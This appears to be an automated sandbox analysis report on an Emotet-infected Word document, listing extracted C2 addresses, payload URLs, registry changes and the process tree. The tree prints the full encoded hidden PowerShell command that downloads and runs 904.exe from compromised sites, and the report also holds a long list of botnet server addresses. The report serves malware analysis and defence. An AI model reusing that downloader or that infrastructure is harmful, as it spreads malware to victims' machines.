Analysis
-
max time kernel
141s -
resource
win7v191014 -
submitted
07-12-2019 20:58
Task
task1
Sample
Docs_bb7b9f0ff1297e6480935818da798d0f.71.doc
Resource
win7v191014
General
Malware Config
Extracted
http://jdcc-stu.com/wp-includes/168386/
http://stevecablestreeservice.com/y8st/w4q76/
http://kaybork.com/howtos/620010/
http://dayzendapparel.com/cgi-bin/091244/
http://thematrix-one.info/cgi-bin/4900/
Extracted
emotet
47.146.42.234:80
130.45.45.31:80
200.119.11.118:443
96.126.121.64:443
104.236.137.72:8080
172.104.233.225:8080
85.234.143.94:8080
91.205.215.57:7080
62.75.160.178:8080
45.79.95.107:443
190.195.129.227:8090
159.203.204.126:8080
181.36.42.205:443
186.68.48.204:443
14.160.93.230:80
119.59.124.163:8080
87.118.70.69:8080
5.196.35.138:7080
82.8.232.51:80
203.130.0.69:80
139.5.237.27:443
2.38.99.79:80
200.58.83.179:80
190.102.226.91:80
134.209.214.126:8080
68.183.190.199:8080
181.198.203.45:443
77.55.211.77:8080
96.20.84.254:7080
186.15.83.52:8080
88.250.223.190:8080
79.31.85.103:80
149.135.123.65:80
93.67.154.252:443
72.29.55.174:80
201.163.74.202:443
5.88.27.67:8080
116.48.138.115:80
130.45.45.31:80
82.196.15.205:8080
86.42.166.147:80
190.210.184.138:995
51.255.165.160:8080
200.113.106.18:80
188.216.24.204:80
200.123.101.90:80
207.154.204.40:8080
154.120.227.206:8080
47.187.70.124:443
68.129.203.162:443
58.171.181.213:80
77.241.53.234:80
142.93.114.137:8080
191.103.76.34:443
47.146.42.234:80
181.231.62.54:80
110.143.18.92:80
185.160.212.3:80
144.2.165.179:80
87.106.77.40:7080
80.29.54.20:80
190.4.50.26:80
80.85.87.122:8080
201.190.133.235:8080
91.83.93.124:7080
185.86.148.222:8080
163.172.40.218:7080
2.44.167.52:80
118.200.218.193:443
104.131.58.132:8080
204.63.252.182:443
142.127.57.63:8080
95.179.195.74:80
149.62.173.247:8080
109.169.86.13:8080
212.71.237.140:8080
217.199.160.224:8080
181.61.143.177:80
68.183.170.114:8080
45.50.177.164:80
178.79.163.131:8080
200.113.106.18:80
50.28.51.143:8080
109.166.89.91:80
138.68.106.4:7080
73.167.135.180:80
190.17.42.79:80
63.246.252.234:80
144.139.56.105:80
87.106.46.107:8080
190.38.14.52:80
46.101.212.195:8080
201.213.32.59:80
190.146.131.105:8080
46.28.111.142:7080
181.135.153.203:443
2.139.158.136:443
125.99.61.162:7080
203.25.159.3:8080
62.75.143.100:7080
190.97.30.167:990
98.196.49.107:80
83.165.163.225:80
200.124.225.32:80
91.204.163.19:8090
190.186.164.23:80
69.163.33.84:8080
183.82.97.25:80
188.14.39.65:443
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1332 WINWORD.EXE -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
powershell.exe904.exeinboxchunker.exedescription pid process target process PID 2040 wrote to memory of 1080 2040 powershell.exe 904.exe PID 1080 wrote to memory of 1172 1080 904.exe 904.exe PID 2088 wrote to memory of 2104 2088 inboxchunker.exe inboxchunker.exe -
Modifies registry class 136 IoCs
Processes:
description ioc Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{E5EBF4D4-7E9F-44A8-A2A5-CC6AF058B389}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{E5EBF4D4-7E9F-44A8-A2A5-CC6AF058B389}\2.0\FLAGS\ = "6" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Drops file in System32 directory 6 IoCs
Processes:
WINWORD.EXEpowershell.exe904.exeinboxchunker.exedescription ioc process File deleted C:\Windows\System32\spool\drivers\x64\3\mxdwdui.BUD WINWORD.EXE File created C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdui.BUD WINWORD.EXE File opened for modification C:\Windows\system32\GDIPFONTCACHEV1.DAT WINWORD.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File renamed C:\Users\Admin\904.exe => C:\Windows\SysWOW64\inboxchunker.exe 904.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat inboxchunker.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXEconhost.exe904.exe904.exeinboxchunker.exeinboxchunker.exepid process 1332 WINWORD.EXE 2028 conhost.exe 1080 904.exe 1172 904.exe 2088 inboxchunker.exe 2104 inboxchunker.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 1332 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2040 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exeinboxchunker.exepid process 2040 powershell.exe 2104 inboxchunker.exe -
Executes dropped EXE 4 IoCs
Processes:
904.exe904.exeinboxchunker.exeinboxchunker.exepid process 1080 904.exe 1172 904.exe 2088 inboxchunker.exe 2104 inboxchunker.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
904.exeinboxchunker.exepid process 1172 904.exe 2104 inboxchunker.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7b9f0ff1297e6480935818da798d0f.71.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -en JABIAGUAcAB4AGIAaAB6AHcAYgBtAGcAPQAnAFcAawBwAG8AcABxAHQAYgByAHoAJwA7ACQAUAB1AHkAdAB0AHUAagBxAHAAdQByACAAPQAgACcAOQAwADQAJwA7ACQAUQBrAGYAegBlAG8AbwB2AHcAPQAnAFMAdwBzAHIAcgBuAGgAcwB4ACcAOwAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAHUAeQB0AHQAdQBqAHEAcAB1AHIAKwAnAC4AZQB4AGUAJwA7ACQAWgBiAGIAZgBhAHIAcQBwAGYAcgBjAHUAcgA9ACcAQwBoAHIAaABwAHoAcwBrAHcAcwB5ACcAOwAkAFAAcwB2AHAAegB1AGkAaQB2AGgAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAYwBMAGkARQBuAHQAOwAkAEwAbABjAHMAdAB0AHIAbABuAHYAeQBhAGYAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGMAYwAtAHMAdAB1AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxADYAOAAzADgANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAZQB2AGUAYwBhAGIAbABlAHMAdAByAGUAZQBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB5ADgAcwB0AC8AdwA0AHEANwA2AC8AKgBoAHQAdABwADoALwAvAGsAYQB5AGIAbwByAGsALgBjAG8AbQAvAGgAbwB3AHQAbwBzAC8ANgAyADAAMAAxADAALwAqAGgAdAB0AHAAOgAvAC8AZABhAHkAegBlAG4AZABhAHAAcABhAHIAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMAA5ADEAMgA0ADQALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbQBhAHQAcgBpAHgALQBvAG4AZQAuAGkAbgBmAG8ALwBjAGcAaQAtAGIAaQBuAC8ANAA5ADAAMAAvACcALgAiAFMAUABsAGAAaQBUACIAKAAnACoAJwApADsAJABEAHIAZgB4AHkAcgBsAGUAeQB6AD0AJwBGAGcAbQBtAHAAYwBiAGMAYQBsAGEAYQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHIAawBwAGcAdAB3AG8AYQAgAGkAbgAgACQATABsAGMAcwB0AHQAcgBsAG4AdgB5AGEAZgApAHsAdAByAHkAewAkAFAAcwB2AHAAegB1AGkAaQB2AGgALgAiAGQAbwB3AG4AYABMAG8AYQBgAEQARgBgAEkATABFACIAKAAkAE8AcgBrAHAAZwB0AHcAbwBhACwAIAAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhACkAOwAkAEcAcQBlAG0AYwBwAGcAbQBvAG0AZgB3AHoAPQAnAEQAaABkAGsAagBzAGcAeABoAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwAyADMAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAHIAdAAiACgAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApADsAJABTAHEAZQBoAGYAcwBmAG4AdQA9ACcARwB5AHUAeQBhAGoAZwBjAHoAbwAnADsAYgByAGUAYQBrADsAJABXAGUAagBoAHoAcwB3AHcAZwBxAHkAdQA9ACcAWAByAGcAeAB5AGoAdQBzAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB4AHgAawB1AGEAdABrAHcAaABkAHYAbAA9ACcAWAByAGUAcQBhAGEAYQBzAG0AbwB2AGIAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\904.exe"C:\Users\Admin\904.exe"2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
-
C:\Users\Admin\904.exe--af9a2e1b3⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1138862790176837176690911350724443424918102909263872890522038853367-812709330"1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"1⤵
-
C:\Windows\SysWOW64\inboxchunker.exe"C:\Windows\SysWOW64\inboxchunker.exe"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
-
C:\Windows\SysWOW64\inboxchunker.exe--b0698d262⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\904.exe
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C:\Users\Admin\904.exe
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C:\Users\Admin\904.exe
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C:\Windows\SysWOW64\inboxchunker.exe
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C:\Windows\SysWOW64\inboxchunker.exe
-
memory/1080-7-0x0000000000310000-0x0000000000327000-memory.dmpFilesize
92KB
-
memory/1172-10-0x00000000005E0000-0x00000000005F7000-memory.dmpFilesize
92KB
-
memory/1172-11-0x0000000000400000-0x000000000044A000-memory.dmpFilesize
296KB
-
memory/1332-0-0x0000000006350000-0x0000000006354000-memory.dmpFilesize
16KB
-
memory/1332-2-0x0000000009170000-0x0000000009174000-memory.dmpFilesize
16KB
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memory/2104-15-0x0000000000380000-0x0000000000397000-memory.dmpFilesize
92KB
-
memory/2104-16-0x0000000000400000-0x000000000044A000-memory.dmpFilesize
296KB